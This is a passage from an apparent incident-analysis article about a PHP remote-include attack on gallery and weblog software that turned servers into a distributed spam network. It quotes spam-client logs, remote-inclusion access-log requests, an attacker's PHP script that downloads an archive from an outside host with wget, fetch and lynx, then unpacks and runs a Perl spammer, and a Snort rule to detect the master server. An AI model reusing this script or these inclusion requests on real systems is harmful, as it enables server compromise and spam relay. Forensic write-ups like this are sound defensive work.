[http://www.alexoffers.com/out.php?email=\\_TO\\_](http://www.alexoffers.com/out.php?email=_TO_)

---

```
25.08.03 17:19:05 D From: offers22@alexoffers.com, by localhost
25.08.03 17:19:05 D Reading from DB to struct 0
25.08.03 17:19:27 W There are 5676 names in block
25.08.03 17:19:27 M Time to get new block from Base 22 sec
25.08.03 17:19:27 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:19:27 D Starting testers from struct 0
25.08.03 17:19:27 D Starting tester with: 25346585|sales@svithunrussen.net|207.44.130.36
25.08.03 17:19:27 D * Starting tester[0] with: 25346585|sales@svithunrussen.net|207.44.130.36
25.08.03 17:19:27 D main::testmail: tester[0].mx_list='207.44.130.36'
25.08.03 17:19:27 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:19:27 D test::testit: Connecting to 207.44.130.36:25
25.08.03 17:19:27 D Starting tester with: 25343733|sales@svenschaefer.net|212.227.126.148 212.227
25.08.03 17:19:27 D * Starting tester[1] with: 25343733|sales@svenschaefer.net|212.227.126.148 2
25.08.03 17:19:27 D main::testmail: tester[1].mx_list='212.227.126.148 212.227.126.210'
25.08.03 17:19:27 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:19:27 D test::testit: Connecting to 212.227.126.148:25
25.08.03 17:19:27 D Starting tester with: 25346342|sales@svimservice.net|206.47.4.188
25.08.03 17:19:27 D * Starting tester[2] with: 25346342|sales@svimservice.net|206.47.4.188
25.08.03 17:19:27 D main::testmail: tester[2].mx_list='206.47.4.188'
25.08.03 17:19:27 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:19:27 D test::testit: Connecting to 206.47.4.188:25
(..) (more similar lines)
```

```
25.08.03 17:22:08 D Starting tester with: 16742510|sales@line-xindiana.com|216.26.136.100 64.253.
25.08.03 17:22:08 D * Starting tester[31] with: 16742510|sales@line-xindiana.com|216.26.136.100
25.08.03 17:22:08 D main::testmail: tester[31].mx_list='216.26.136.100 64.253.106.14'
25.08.03 17:22:08 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:22:08 D test::testit: Connecting to 216.26.136.100:25
25.08.03 17:22:09 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:22:09 D test::testit: Connecting to 65.121.176.25:25
25.08.03 17:22:09 D Sending report
25.08.03 17:22:09 D Report: [16741512]: 11
25.08.03 17:22:09 D Report sent in 0 sec.
25.08.03 17:22:09 D Starting tester with: 16741958|sales@lindy-gerties.com|66.227.6.121
25.08.03 17:22:09 D * Starting tester[95] with: 16741958|sales@lindy-gerties.com|66.227.6.121
25.08.03 17:22:09 D main::testmail: tester[95].mx_list='66.227.6.121'
25.08.03 17:22:09 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:22:09 D test::testit: Connecting to 66.227.6.121:25
25.08.03 17:22:09 D test::testit: Coneected
25.08.03 17:22:09 D Sending report
25.08.03 17:22:09 D Report: [16741506]: 11
25.08.03 17:22:09 D Report sent in 0 sec.
25.08.03 17:22:09 M signal 15: Exiting!
25.08.03 17:22:09 M Press ^C to exit now...
25.08.03 17:22:09 M test::testit: Timeout connecting to host
25.08.03 17:22:09 D Sending report
25.08.03 17:22:09 D Report: [16742309]: 6
25.08.03 17:22:09 D Report sent in 0 sec.
25.08.03 17:22:09 D Starting tester with: 16741613|sales@lindseytech.com|204.251.10.82 204.251.10
25.08.03 17:22:09 D * Starting tester[26] with: 16741613|sales@lindseytech.com|204.251.10.82 204
25.08.03 17:22:09 M Stop signal! Thread 26 exiting!
```

In the above log, it is clearly explained how the different threads are continuously sending e-mails (reports). Those log messages are identified by a 'M' if they are originated by the 'father' of the threads (the main process) and by a 'D' if they are originated by any thread. Imagine 100 threads sending spam in an upload 128kbits connection. That was why my bandwidth was totally saturated!!

### 1.3. Correlations

Looking for similar events explained in the Internet, I only found one, on May 2003, in the Journal of Purdy (<http://use.perl.org/~Purdy/journal/12402>). He suffered a similar gallery attack, not exactly the same as the explained in this article, but it also exploits the vulnerability of remotely setting a PHP variable that is used for including another PHP script. This other vulnerability is well known, and even has the Bugtraq ID 5375 (<http://www.securityfocus.com/bid/5375>). But, this time the script used once the machine was compromised (May 2003) is totally different than the script used recently:

```
";

passthru("which perl");
passthru("which dig");
echo "uname ";
passthru("uname -a");
echo "\nhostname ";
passthru("hostname");
echo "\n";
```

```
echo $HTTP_HOST.$REQUEST_URI;

passthru("kill -9 `cat /tmp/sess_9e4d0713ad1a561e77c93643bafef7a8`");
passthru("rm -rf /tmp/af56j");
passthru("mkdir /tmp/af56j");
passthru("fetch -o- http://4goofs.com/ad13/archive.tgz > /tmp/af56j/archive1.tgz");
passthru("lynx -dump -source http://4goofs.com/ad13/archive.tgz > /tmp/af56j/archive2.tgz");
passthru("wget http://4goofs.com/ad13/archive.tgz -P /tmp/af56j");
passthru("ls -la/tmp/af56j");
passthru("tar -zxvf /tmp/af56j/archive.tgz -C /tmp/af56j");
passthru("tar -zxvf /tmp/af56j/archive1.tgz -C /tmp/af56j");
passthru("tar -zxvf /tmp/af56j/archive2.tgz -C /tmp/af56j");
passthru("rm -rf /tmp/af56j/archive*");
passthru("chmod 700 /tmp/af56j/formail.pl");
passthru("/tmp/af56j/formail.pl");

passthru("rm -f /tmp/af56j/formail.pl");
passthru("ls -la /tmp/af56j");
?>
```

It is clearly an old version of the script, now using a perl script instead of a compiled binary, but the procedure is the same. Also now I realize why in the last version it stills tries to remove the `/tmp/af56j`, a mixture of deleting old stuff and reutilization of the script. Besides, the `formail.pl` perl script is included in the Appendix section at the end of the article (thanks to Purdy who managed to get the script); compared to the compiled binary, it is less powerful, and also with very few features, but the general idea is exactly the same, even you can see there the commands of the master daemon described earlier, or the different variables that it uses when sending the e-mail (ID, ID2, ...)

There is also another person that has detected these attacks; it is described in a weblog called Yabbob DevBlog (<http://yabbob.arboc.net/devblog/index.php?p=84&c=1>), and there, you can check that the attacker tries to exploit a similar vulnerability, but this time against b2 (<http://cafelog.com/>), which another PHP software for creating weblogs. He detects the following accesses in his server:

```
216.93.171.130 - - [13/Jun/2003:02:03:52 -0400]
GET http://frcooper.com/devblog//b2-include/b2functions.php?
b2inc=http://www.4goofs.com/ HTTP/1.0 200 0 "-" "-"
216.93.171.130 - - [13/Jun/2003:03:32:13 -0400]
GET http://frcooper.com/devblog//b2-include/b2functions.php?
b2inc=http://www.4goofs.com/sftb/ HTTP/1.0 200 0 "-" "-"
216.93.171.130 - - [13/Jun/2003:01:59:28 -0400]
GET http://frcooper.com/devblog//b2-include/b2menutop.php?
b2inc=./ HTTP/1.0 200 1574 "-" "-"
```

The attacker not only tries to exploit another PHP remote variable set, but she also tries to probe the PHP software for a directory transversal, which is in my opinion a manual probe.

And finally, after this paper was written, I discovered other similar analysis of this attack in a GCIH student practical, Rohan Amin ([http://www.giac.org/practical/GCIH/Rohan\\_Amin\\_GCIH.pdf](http://www.giac.org/practical/GCIH/Rohan_Amin_GCIH.pdf)), but was also and earlier attack, and almost identical to the perl script commented above.

## 1.4. Final thoughts

After discovering everything I've explained, I sent an e-mail to the affected IP administrators, but I haven't received any response yet. Even the master server is still running.

The person who has coded both the client and the master server (I think that is the same person) is an intelligent person, with strong knowledge of technology, just because there are too many things involved: thread and network programming, mail server modification adding new commands, mask feature, reports, binary auto-removal, UPX compression, ..., she also reads the security vulnerabilities mailing lists (bugtraq, full-disclosure, ...), and somehow finds out another ones (I haven't been able to find my vulnerability described in the Internet). Besides, she has got a huge database with domain names running in the master server, so the mail server is connected to the database. I tried to connect to the master server as a 'real' client, and I got the following:

```
220 localhost ESMTP
iam daemon[1061629845]
554 Service unavailable (DB CONNECT)
```

But the most annoying issue would be to know the connections among all these different countries; it is highly probable that some of the hosts mentioned have been compromised, but it is not clear which ones. To summarize, spammers are getting more and more intelligent, taking advantage of useful technologies, doing their attacks and mass-sendings in a distributed way, and the Intrusion Detection community would need to realize that they are a growing threat, and they need to be detected and stopped as soon as possible. The following Snort alert will detect the connection of a client to the master server, although it can be easily defeated by changing the master server behavior:

```
alert tcp $EXTERNAL_NET 113 -> $SMTP_SERVERS 25
(msg:"SPAM Client to Master Server connection"; flow:to_server,established;
content:"im daemon["; classtype:misc-attack; sid:1000021;)
```

The final step is to try to decompile the binary to know exactly what it does, but that is another story.

## References

Michael Zalewski and William Stearns, *p0f*, URL: <http://lcamtuf.coredump.cx/p0f/>.

Gallery, *Gallery*, URL: <http://gallery.menalto.com>.

Geeklog, *Geeklog*, URL: <http://www.geeklog.net>.

UPX, *UPX*, URL: <http://upx.sourceforge.net>.

Brian Carrier, *TASK*, URL: <http://www.sleuthkit.org>.

Ethereal, *Ethereal*, URL: <http://www.ethereal.com>.

Grsec, *Grsec*, URL: <http://grsec.linux-kernel.at/>.

Purdy, *Hijack through PHP and Hack/Spam through Perl*, May, 23 2003, URL: <http://use.perl.org/~Purdy/journal/12402>.

BugTraq, *Bugtraq ID 5375*, URL: <http://www.securityfocus.com/bid/5375>.

Yabbob, *script kiddiez*, June, 14 2003, URL: <http://yabbob.arboc.net/devblog/index.php?p=84&c=1> .

Rohan Amin, *GCIH practical*, URL: [http://www.giac.org/practical/GCIH/Rohan\\_Amin\\_GCIH.pdf](http://www.giac.org/practical/GCIH/Rohan_Amin_GCIH.pdf) .